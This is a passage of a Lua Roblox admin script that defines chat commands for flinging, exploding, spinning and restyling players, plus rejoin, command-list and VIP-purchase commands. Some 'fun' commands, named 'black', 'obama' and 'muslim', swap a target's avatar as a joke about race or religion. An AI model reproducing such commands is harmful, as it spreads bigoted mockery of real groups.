  4499. local Arg1, Arg2 = GetSplit(string.sub(Message, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  4500. local Players = Scan(Arg1, Speaker)
  4501. local ID = tonumber(Arg2) if Arg2 ~= nil then
  4502. local List = {}
  4503. for _,Player in pairs(Players) do
  4504. if Player ~= nil then
  4505. if MPS:PlayerOwnsAsset(Player, ID) then
  4506. table.insert(List, Player.Name)
  4507. end
  4508. end
  4509. end
  4510. ListGui(Speaker, "Players who have asset ID: "..ID, List)
  4511. end
  4512. end
  4513.  
  4514. if string.sub(Message,1,4+#Bet) == "chat"..Bet then
  4515. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  4516. local Players = Scan(Arg1, Speaker)
  4517. local String = Arg2
  4518. local Color = "Blue"
  4519. local Arg3, Arg4 = GetSplit(Arg2, Bet)
  4520. if Arg3 and Arg4 then
  4521. if string.lower(Arg3) == "blue" then Color = "Blue" String = Arg4
  4522. elseif string.lower(Arg3) == "green" then Color = "Green" String = Arg4
  4523. elseif string.lower(Arg3) == "red" then Color = "Red" String = Arg4
  4524. end
  4525. end
  4526. for _,Player in pairs(Players) do coroutine.wrap(function()
  4527. if Player ~= nil then
  4528. if Player.Character then
  4529. if Player.Character.Head then
  4530. game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
  4531. end
  4532. end
  4533. end
  4534. end)() end
  4535. end
  4536.  
  4537. -- FUN COMMANDS --
  4538.  
  4539. if FUN == true or Rank == "Admin" or Rank == "Owner" then
  4540. if string.sub(Message,1,4+#Bet) == "noob"..Bet then
  4541. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4542. for _,Player in pairs(Players) do
  4543. if Player ~= nil then
  4544. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4545. local Position = Player.Character.Torso.Position
  4546. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=0"
  4547. wait() Player:LoadCharacter() wait()
  4548. Player.Character:MoveTo(Position)
  4549. end
  4550. end
  4551. end
  4552. end
  4553.  
  4554. if string.sub(Message,1,5+#Bet) == "black"..Bet or string.sub(Message,1,5+#Bet) == "obama"..Bet then
  4555. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4556. for _,Player in pairs(Players) do
  4557. if Player ~= nil then
  4558. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4559. local Position = Player.Character.Torso.Position
  4560. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1337"
  4561. wait() Player:LoadCharacter() wait()
  4562. Player.Character:MoveTo(Position)
  4563. end
  4564. end
  4565. end
  4566. end
  4567.  
  4568. if string.sub(Message,1,5+#Bet) == "guest"..Bet then
  4569. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4570. for _,Player in pairs(Players) do
  4571. if Player ~= nil then
  4572. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4573. local Position = Player.Character.Torso.Position
  4574. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=1"
  4575. wait() Player:LoadCharacter() wait()
  4576. Player.Character:MoveTo(Position)
  4577. end
  4578. end
  4579. end
  4580. end
  4581.  
  4582. if string.sub(Message,1,4+#Bet) == "rich"..Bet then
  4583. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4584. for _,Player in pairs(Players) do
  4585. if Player ~= nil then
  4586. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4587. local Position = Player.Character.Torso.Position
  4588. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=13416513"
  4589. wait() Player:LoadCharacter() wait()
  4590. Player.Character:MoveTo(Position)
  4591. end
  4592. end
  4593. end
  4594. end
  4595.  
  4596. if string.sub(Message,1,4+#Bet) == "oder"..Bet then
  4597. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4598. for _,Player in pairs(Players) do
  4599. if Player ~= nil then
  4600. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4601. local Position = Player.Character.Torso.Position
  4602. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..OderIDs[math.random(1,#OderIDs)]
  4603. wait() Player:LoadCharacter() wait()
  4604. Player.Character:MoveTo(Position)
  4605. end
  4606. end
  4607. end
  4608. end
  4609.  
  4610. if string.sub(Message,1,6+#Bet) == "muslim"..Bet then
  4611. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4612. for _,Player in pairs(Players) do
  4613. if Player ~= nil then
  4614. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  4615. local Position = Player.Character.Torso.Position
  4616. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId=6231537"
  4617. wait() Player:LoadCharacter() wait()
  4618. Player.Character:MoveTo(Position)
  4619. end
  4620. end
  4621. end
  4622. end
  4623.  
  4624. if string.sub(Message,1,4+#Bet) == "spin"..Bet then
  4625. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4626. for _,Player in pairs(Players) do
  4627. if Player ~= nil then
  4628. if Player.Character ~= nil then
  4629. if Player.Character:FindFirstChild("Torso") ~= nil then coroutine.wrap(function()
  4630. local Spin = Player.Character.Torso:FindFirstChild("LMM Spin")
  4631. if Spin then Spin:Destroy() end
  4632. Spin = Instance.new("BodyGyro", Player.Character.Torso) Spin.Name = "LMM Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.P = 11111 Spin.cframe = Player.Character.Torso.CFrame
  4633. repeat wait(1/44) Spin.cframe = Spin.cframe * CFrame.Angles(0,math.rad(30),0) until not Spin or Spin.Parent ~= Player.Character.Torso
  4634. end)() end
  4635. end
  4636. end
  4637. end
  4638. end
  4639.  
  4640. if string.sub(Message,1,6+#Bet) == "nospin"..Bet then
  4641. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4642. for _,Player in pairs(Players) do
  4643. if Player ~= nil then
  4644. if Player.Character ~= nil then
  4645. if Player.Character:FindFirstChild("Torso") ~= nil then
  4646. local Spin = Player.Character.Torso:FindFirstChild("LMM Spin")
  4647. if Spin then Spin:Destroy() end
  4648. end
  4649. end
  4650. end
  4651. end
  4652. end
  4653.  
  4654. if string.sub(Message,1,4+#Bet) == "flip"..Bet then
  4655. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4656. for _,Player in pairs(Players) do
  4657. if Player ~= nil then
  4658. if Player.Character ~= nil then
  4659. if Player.Character:FindFirstChild("Torso") ~= nil then
  4660. local Flip = Player.Character.Torso:FindFirstChild("LMM Flip")
  4661. if not Flip then coroutine.wrap(function()
  4662. local TorsoCFrame = Player.Character.Torso.CFrame
  4663. Flip = Instance.new("BodyGyro", Player.Character.Torso) Flip.Name = "LMM Flip" Flip.maxTorque = Vector3.new(math.huge, 0, 0) Flip.P = 11111 Flip.cframe = TorsoCFrame
  4664. local Stable = Instance.new("BodyPosition", Player.Character.Torso) Stable.Name = "LMM Stable" Stable.position = Player.Character.Torso.Position + Vector3.new(0,1,0) Stable.maxForce = Vector3.new(0, math.huge, 0)
  4665. wait(0.1)
  4666. for i = 0,360,10 do
  4667. Flip.cframe = TorsoCFrame * CFrame.Angles(math.rad(i),0,0)
  4668. wait()
  4669. end
  4670. wait(0.5)
  4671. Flip:Destroy()
  4672. Stable:Destroy()
  4673. end)() end
  4674. end
  4675. end
  4676. end
  4677. end
  4678. end
  4679.  
  4680. if string.sub(Message,1,8+#Bet) == "longneck"..Bet then
  4681. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  4682. for _,Player in pairs(Players) do
  4683. if Player ~= nil then
  4684. if Player.Character ~= nil then
  4685. if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
  4686. if Player.Character.Torso:FindFirstChild("Neck") then
  4687. Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  4688. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  4689. Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor))
  4690. local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
  4691. local Weld = Instance.new("Weld", Neck) Weld.Part0 = Neck Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-2,0)
  4692. end
  4693. end
  4694. end
  4695. end
  4696. end
  4697. end
  4698.  
  4699. if string.sub(Message,1,10+#Bet) == "normalneck"..Bet then
  4700. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  4701. for _,Player in pairs(Players) do
  4702. if Player ~= nil then
  4703. if Player.Character ~= nil then
  4704. Player.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
  4705. local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
  4706. end
  4707. end
  4708. end
  4709. end
  4710.  
  4711. if string.sub(Message,1,9+#Bet) == "loopfling"..Bet then
  4712. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  4713. for _,Player in pairs(Players) do
  4714. if Player ~= nil then
  4715. if Player.Character ~= nil then
  4716. for Num,Name in pairs(Flings) do if string.lower(Player.Name) == string.lower(Name) then table.remove(Flings, Num) end end
  4717. local function FlingPlayer(User, Character)
  4718. wait(0.1)
  4719. if User then
  4720. local Stop = true
  4721. for _,Name in pairs(Flings) do if string.lower(User.Name) == string.lower(Name) then Stop = false end end if Stop == true then FlingPlayer = nil return end
  4722. if Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(100000000,1000000000,100000000) end
  4723. end
  4724. end
  4725. table.insert(Flings, Player.Name)
  4726. FlingPlayer(Player, Player.Character)
  4727. Player.CharacterAdded:connect(function(Char) FlingPlayer(Player, Char) end)
  4728. end
  4729. end
  4730. end
  4731. end
  4732.  
  4733. if string.sub(Message,1,11+#Bet) == "noloopfling"..Bet then
  4734. local Players = Scan(string.sub(Message, 12+#Bet), Speaker)
  4735. for _,Player in pairs(Players) do
  4736. if Player ~= nil then
  4737. for Num,Name in pairs(Flings) do if string.lower(Player.Name) == string.lower(Name) then table.remove(Flings, Num) end end
  4738. end
  4739. end
  4740. end
  4741.  
  4742. if string.sub(Message,1,5+#Bet) == "fling"..Bet then
  4743. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4744. for _,Player in pairs(Players) do
  4745. if Player ~= nil then
  4746. if Player.Character ~= nil then
  4747. local function FlingPlayer(User, Character) if User then if Character:FindFirstChild("Torso") then local Fling = Instance.new("BodyForce", Character.Torso) Fling.Name = "Fling" Fling.force = Vector3.new(100000000,1000000000,100000000) end end end
  4748. FlingPlayer(Player, Player.Character)
  4749. end
  4750. end
  4751. end
  4752. end
  4753.  
  4754. if string.sub(Message,1,5+#Bet) == "ghost"..Bet then
  4755. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4756. for _,Player in pairs(Players) do
  4757. if Player ~= nil then
  4758. if Player.Character ~= nil then
  4759. for _,Object in pairs(Player.Character:GetChildren()) do
  4760. if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
  4761. Object.Transparency = 0.5
  4762. Object.Reflectance = 0
  4763. Object.BrickColor = BrickColor.new("Institutional white")
  4764. end end
  4765. for _,Obj in pairs(Object:GetChildren()) do
  4766. if Obj:IsA("BasePart") then
  4767. Obj.Transparency = 0.5
  4768. Obj.Reflectance = 0
  4769. elseif Obj:IsA("Decal") then
  4770. Obj.Transparency = 0.5
  4771. end
  4772. end
  4773. end
  4774. end
  4775. end
  4776. end
  4777. end
  4778.  
  4779. if string.sub(Message,1,4+#Bet) == "drug"..Bet then
  4780. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4781. for _,Player in pairs(Players) do
  4782. if Player ~= nil then
  4783. if Player.Character then
  4784. if Player.PlayerGui ~= nil then
  4785. local SG = Player.PlayerGui:FindFirstChild("LMM Drug") if SG then SG:Destroy() end
  4786. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMM Drug"
  4787. local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
  4788. local Stop = false
  4789. coroutine.wrap(function()
  4790. repeat
  4791. Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  4792. wait(0.1)
  4793. until not SG
  4794. end)()
  4795. wait() ExecuteResource("Drug", Player.Character, {}, Player,
  4796. [[repeat wait(0.1) Workspace.CurrentCamera.FieldOfView = math.random(20,80) until not game:GetService("Players").LocalPlayer.PlayerGui["LMM Drug"] ]]
  4797. )
  4798. end
  4799. end
  4800. end
  4801. end
  4802. end
  4803.  
  4804. if string.sub(Message,1,6+#Bet) == "nodrug"..Bet then
  4805. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4806. for _,Player in pairs(Players) do
  4807. if Player.PlayerGui ~= nil then
  4808. local SG = Player.PlayerGui:FindFirstChild("LMM Drug") if SG then SG:Destroy() end
  4809. wait() RestoreCamera(Player)
  4810. end
  4811. end
  4812. end
  4813.  
  4814. if string.sub(Message,1,4+#Bet) == "fart"..Bet then
  4815. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4816. for _,Player in pairs(Players) do
  4817. if Player.Character then
  4818. if Player.Character:FindFirstChild("Torso") ~= nil and Player.Character.Head:FindFirstChild("face") then
  4819. coroutine.wrap(function()
  4820. if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=24067663" then if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=28118994" then
  4821. local OldFace = Player.Character.Head.face.Texture
  4822. local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
  4823. local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
  4824. local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
  4825. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=28118994"
  4826. local Sound = Instance.new("Sound", Fart) Sound.Name = "Fart Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id=130833677" Sound.Pitch = 0.8 Sound.Archivable = false repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound
  4827. wait(1)
  4828. Smoke.Enabled = false
  4829. wait(1)
  4830. Fart:Destroy()
  4831. Player.Character.Head.face.Texture = OldFace
  4832. end end
  4833. end)()
  4834. end
  4835. end
  4836. end
  4837. end
  4838.  
  4839. if string.sub(Message,1,5+#Bet) == "vomit"..Bet then
  4840. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4841. for _,Player in pairs(Players) do
  4842. if Player.Character then
  4843. if Player.Character:FindFirstChild("Head") ~= nil then
  4844. if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
  4845. coroutine.wrap(function()
  4846. if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=24067663" then if Player.Character.Head.face.Texture ~= "http://www.roblox.com/asset/?id=28118994" then
  4847. local OldFace = Player.Character.Head.face.Texture
  4848. Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
  4849. Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
  4850. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id=24067663"
  4851. local Sound = Instance.new("Sound", Player.Character.Head) Sound.Name = "Puke Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id=142539016" Sound.Pitch = 0.8 Sound.Archivable = false repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound
  4852. coroutine.wrap(function() for i = 1,100 do wait()
  4853. local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
  4854. coroutine.wrap(function() wait(3) Part:Destroy() end)()
  4855. end Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
  4856. end end
  4857. end)()
  4858. end
  4859. end
  4860. end
  4861. end
  4862. end
  4863.  
  4864. if string.sub(Message,1,5+#Bet) == "smoke"..Bet then
  4865. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  4866. for _,Player in pairs(Players) do
  4867. if Player ~= nil then
  4868. if Player.Character then
  4869. if Player.Character:FindFirstChild("Torso") ~= nil then
  4870. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  4871. end
  4872. end
  4873. end
  4874. end
  4875. end
  4876.  
  4877. if string.sub(Message,1,7+#Bet) == "nosmoke"..Bet then
  4878. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  4879. for _,Player in pairs(Players) do
  4880. if Player ~= nil then
  4881. if Player.Character ~= nil then
  4882. if Player.Character:FindFirstChild("Torso") ~= nil then
  4883. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  4884. if Get:IsA("Smoke") then
  4885. Get:Destroy()
  4886. end
  4887. end
  4888. end
  4889. end
  4890. end
  4891. end
  4892. end
  4893.  
  4894. if string.sub(Message,1,8+#Bet) == "sparkles"..Bet then
  4895. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  4896. for _,Player in pairs(Players) do
  4897. if Player ~= nil then
  4898. if Player.Character then
  4899. if Player.Character:FindFirstChild("Torso") ~= nil then
  4900. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  4901. end
  4902. end
  4903. end
  4904. end
  4905. end
  4906.  
  4907. if string.sub(Message,1,10+#Bet) == "nosparkles"..Bet then
  4908. local Players = Scan(string.sub(Message, 11+#Bet), Speaker)
  4909. for _,Player in pairs(Players) do
  4910. if Player ~= nil then
  4911. if Player.Character ~= nil then
  4912. if Player.Character:FindFirstChild("Torso") ~= nil then
  4913. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  4914. if Get:IsA("Sparkles") then
  4915. Get:Destroy()
  4916. end
  4917. end
  4918. end
  4919. end
  4920. end
  4921. end
  4922. end
  4923.  
  4924. if string.sub(Message,1,4+#Bet) == "fire"..Bet then
  4925. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  4926. for _,Player in pairs(Players) do
  4927. if Player ~= nil then
  4928. if Player.Character then
  4929. if Player.Character:FindFirstChild("Torso") ~= nil then
  4930. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  4931. end
  4932. end
  4933. end
  4934. end
  4935. end
  4936.  
  4937. if string.sub(Message,1,6+#Bet) == "nofire"..Bet then
  4938. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  4939. for _,Player in pairs(Players) do
  4940. if Player ~= nil then
  4941. if Player.Character ~= nil then
  4942. if Player.Character:FindFirstChild("Torso") ~= nil then
  4943. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  4944. if Get:IsA("Fire") then
  4945. Get:Destroy()
  4946. end
  4947. end
  4948. end
  4949. end
  4950. end
  4951. end
  4952. end
  4953.  
  4954. if Message == "flash" then
  4955. coroutine.wrap(function()
  4956. --Lighting.Archivable = false wait(0.5) Lighting.Archivable = true wait(0.5)
  4957. repeat
  4958. Lighting.Ambient = Color3.new(1,1,1)
  4959. Lighting.FogColor = Color3.new(1,1,1)
  4960. Lighting.Brightness = 1
  4961. Lighting.TimeOfDay = 14
  4962. wait(0.1)
  4963. Lighting.Ambient = Color3.new(0,0,0)
  4964. Lighting.FogColor = Color3.new(0,0,0)
  4965. Lighting.Brightness = 0
  4966. Lighting.TimeOfDay = 0
  4967. wait(0.1)
  4968. until Lighting.Archivable == false
  4969. end)()
  4970. end
  4971.  
  4972. if Message == "disco" or Message == "party" then
  4973. coroutine.wrap(function()
  4974. --Lighting.Archivable = false wait(0.5) Lighting.Archivable = true wait(0.5)
  4975. repeat
  4976. local Color = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
  4977. Lighting.Ambient = Color
  4978. Lighting.FogColor = Color
  4979. Lighting.TimeOfDay = 0
  4980. Lighting.FogEnd = 100
  4981. wait(0.1)
  4982. until Lighting.Archivable == false
  4983. end)()
  4984. end
  4985.  
  4986. if string.sub(Message,1,7+#Bet) == "nolimbs"..Bet then
  4987. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  4988. for _,Player in pairs(Players) do
  4989. if Player ~= nil then
  4990. if Player.Character then
  4991. for _,Obj in pairs(Player.Character:GetChildren()) do
  4992. local Valid = false
  4993. for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  4994. if Valid == true then Obj:Destroy() end
  4995. end
  4996. end
  4997. end
  4998. end
  4999. end
  5000.  
  5001. if string.sub(Message,1,6+#Bet) == "nolegs"..Bet then
  5002. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  5003. for _,Player in pairs(Players) do
  5004. if Player ~= nil then
  5005. if Player.Character then
  5006. for _,Obj in pairs(Player.Character:GetChildren()) do
  5007. local Valid = false
  5008. for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
  5009. if Valid == true then Obj:Destroy() end
  5010. end
  5011. end
  5012. end
  5013. end
  5014. end
  5015.  
  5016. if string.sub(Message,1,6+#Bet) == "noarms"..Bet then
  5017. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  5018. for _,Player in pairs(Players) do
  5019. if Player ~= nil then
  5020. if Player.Character then
  5021. for _,Obj in pairs(Player.Character:GetChildren()) do
  5022. local Valid = false
  5023. for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
  5024. if Valid == true then Obj:Destroy() end
  5025. end
  5026. end
  5027. end
  5028. end
  5029. end
  5030.  
  5031. if string.sub(Message,1,5+#Bet) == "shine"..Bet then
  5032. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  5033. for _,Player in pairs(Players) do
  5034. if Player ~= nil then
  5035. if Player.Character then
  5036. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then
  5037. Obj.Reflectance = 0.5
  5038. end end
  5039. end
  5040. end
  5041. end
  5042. end
  5043.  
  5044. if string.sub(Message,1,4+#Bet) == "gold"..Bet then
  5045. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  5046. for _,Player in pairs(Players) do
  5047. if Player ~= nil then
  5048. if Player.Character then
  5049. for _,Obj in pairs(Player.Character:GetChildren()) do if Obj:IsA("BasePart") then
  5050. Obj.Reflectance = 0.5
  5051. Obj.BrickColor = BrickColor.new("New Yeller")
  5052. end end
  5053. end
  5054. end
  5055. end
  5056. end
  5057.  
  5058. if string.sub(Message,1,7+#Bet) == "explode"..Bet then
  5059. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  5060. for _,Player in pairs(Players) do
  5061. if Player ~= nil then
  5062. if Player.Character then
  5063. if Player.Character:FindFirstChild("Torso") then
  5064. local Boom = Instance.new("Explosion", Workspace)
  5065. Boom.Position = Player.Character.Torso.Position
  5066. end
  5067. end
  5068. end
  5069. end
  5070. end
  5071.  
  5072. if string.sub(Message,1,6+#Bet) == "splode"..Bet then
  5073. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  5074. for _,Player in pairs(Players) do
  5075. if Player ~= nil then
  5076. if Player.Character then
  5077. if Player.Character:FindFirstChild("Torso") then
  5078. for i = 1,50 do
  5079. local Boom = Instance.new("Explosion", Workspace)
  5080. Boom.Position = Player.Character.Torso.Position
  5081. wait()
  5082. end
  5083. end
  5084. end
  5085. end
  5086. end
  5087. end
  5088.  
  5089. if string.sub(Message,1,5+#Bet) == "naked"..Bet then
  5090. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  5091. for _,Player in pairs(Players) do
  5092. if Player ~= nil then
  5093. Player:ClearCharacterAppearance()
  5094. end
  5095. end
  5096. end
  5097.  
  5098. if string.sub(Message,1,3+#Bet) == "hax"..Bet then
  5099. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  5100. for _,Player in pairs(Players) do
  5101. if Player ~= nil then
  5102. FakeHack(Player)
  5103. end
  5104. end
  5105. end
  5106. --
  5107. end
  5108. --
  5109. --
  5110. end
  5111. Log(Speaker, RawMainMessage)
  5112. end
  5113.  
  5114. -- NonAdmin Commands --
  5115.  
  5116. if Message == "rejoin" or Message == "rej" or Message == "rjoin" or Message == "rj" then
  5117. local Suc, Err, PlaceID, IntID = TS:GetPlayerPlaceInstanceAsync(Speaker.userId)
  5118. if Suc then
  5119. TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
  5120. else
  5121. TS:Teleport(game.PlaceId, Speaker)
  5122. end
  5123. Log(Speaker, RawMainMessage)
  5124. end
  5125.  
  5126. if Message == "cmds" or Message == "commands" or Message == "commandlist" or Message == "cmdlist" then
  5127. ListGui(Speaker, "Command List", GetCommands(Rank))
  5128. Log(Speaker, RawMainMessage)
  5129. end
  5130.  
  5131. if Message == "fullcmds" or Message == "fullcommands" or Message == "fullcommandlist" or Message == "fullcmdlist" then
  5132. local Selected = SelectionGui(Speaker, "Full Command List", GetCommands(Rank), true)
  5133. if #Selected >= 0 then
  5134. for _,SelCmd in pairs(Selected) do
  5135. Chatted(SelCmd, Speaker)
  5136. end
  5137. Log(Speaker, RawMainMessage)
  5138. end
  5139. end
  5140.  
  5141. if Message == "membervip" or Message == "vipmember" then
  5142. if VIPMemberID ~= 1 then
  5143. PromptPurchase(Speaker, VIPMemberID)
  5144. Log(Speaker, RawMainMessage)
  5145. else
  5146. SendMessage(Speaker, "No VIP", GameOwner.." did not add a member rank VIP to LuaModelMake".."r's Admin", 5)
  5147. end
  5148. end
  5149.  
  5150. if Message == "adminvip" or Message == "vipadmin" then
  5151. if VIPAdminID ~= 1 then
  5152. PromptPurchase(Speaker, VIPAdminID)
  5153. Log(Speaker, RawMainMessage)
  5154. else
  5155. SendMessage(Speaker, "No VIP", GameOwner.." did not add a admin rank VIP to LuaMo".."d".."elMake".."r's Admin", 5)
  5156. end
  5157. end
  5158.  
  5159. if Message == "remove menu" or Message == "removemenu" then
  5160. if Speaker.PlayerGui ~= nil then
  5161. GUI = Speaker.PlayerGui:FindFirstChild("LMM Menu Gui") if GUI then GUI:Destroy() end
  5162. Log(Speaker, RawMainMessage)
  5163. end
  5164. end
  5165.  
  5166. if Message == "clean" or Message == "cln" then
  5167. for _,Obj in pairs(Workspace:GetChildren()) do
  5168. if Obj:IsA("Hat") or Obj:IsA("Tool") then
  5169. Obj:Destroy()
  5170. Log(Speaker, RawMainMessage)
  5171. end
  5172. end
  5173. end
  5174.  
  5175. if Message == "adminhouse" or Message == "ah" or Message == "admin house" then
  5176. if string.lower(MPS:GetProductInfo(155734895).Description) == "yes" then
  5177. AdminHouseGui(Speaker)
  5178. Log(Speaker, RawMainMessage)
  5179. end
  5180. end
  5181.  
  5182. -- Plugin Commands --
  5183. for _,CommandData in pairs(ManualCommands) do
  5184. if string.sub(Message,1,#CommandData[1]) == string.lower(CommandData[1]) then
  5185. local Valid = true
  5186. if FUN == false then
  5187. if CommandData[3] == true then
  5188. Valid = false
  5189. end
  5190. end
  5191. if CommandData[4] == true then
  5192. Valid = false
  5193. SendMessage(Speaker, "Command Disabled [PLUGIN]", "This command has been disabled because the command is considered abusive and abusive protection is on", 5)
  5194. end
  5195. if ConvertRank(CommandData[2]) > ConvertRank(Rank) then
  5196. Valid = false
  5197. end
  5198. if Valid == true then
  5199. local Suc, Error = ypcall(function() CommandData[5](RawMessage, Speaker, Rank) end)
  5200. if not Suc then
  5201. if not Error or Error == "" then
  5202. SendMessage(Speaker, "Plugin Manual Command Error", "Unknown line: Unknown error(Suggestion: Probobly not in your level/identity)", 5)
  5203. else
  5204. Error = Error:match'"*".:(.+)' or "Unknown line: "..Error
  5205. SendMessage(Speaker, "Plugin Manual Command Error", Error, 5)
  5206. end
  5207. end
  5208. end
  5209. end
  5210. end
  5211. end
  5212. end
  5213.  
  5214. function ChatBackup(Message, Speaker)
  5215. local PlayerAdmin, Rank = IsAdmin(Speaker)
  5216. if PlayerAdmin == true then
  5217. if Rank == "Owner" then
  5218. if string.lower(Message) == "fix" or string.lower(Message) == Prefix.."fix" then
  5219. local Ask = YesOrNo(Speaker, "Fix admin?", "Fixing Lu".."aModelMaker's Admin will have the effects of loosing all data (Admins, Bans, Jails, ect.) unless they are in default settings. Anti-Exploit also has to be online in order for complete re-installation. Continue?")
  5220. if Ask == true then
  5221. script:Destroy()
  5222. wait()
  5223. script.Disabled = true
  5224. end
  5225. end
  5226. end
  5227. end
  5228. end
  5229.  
  5230.  
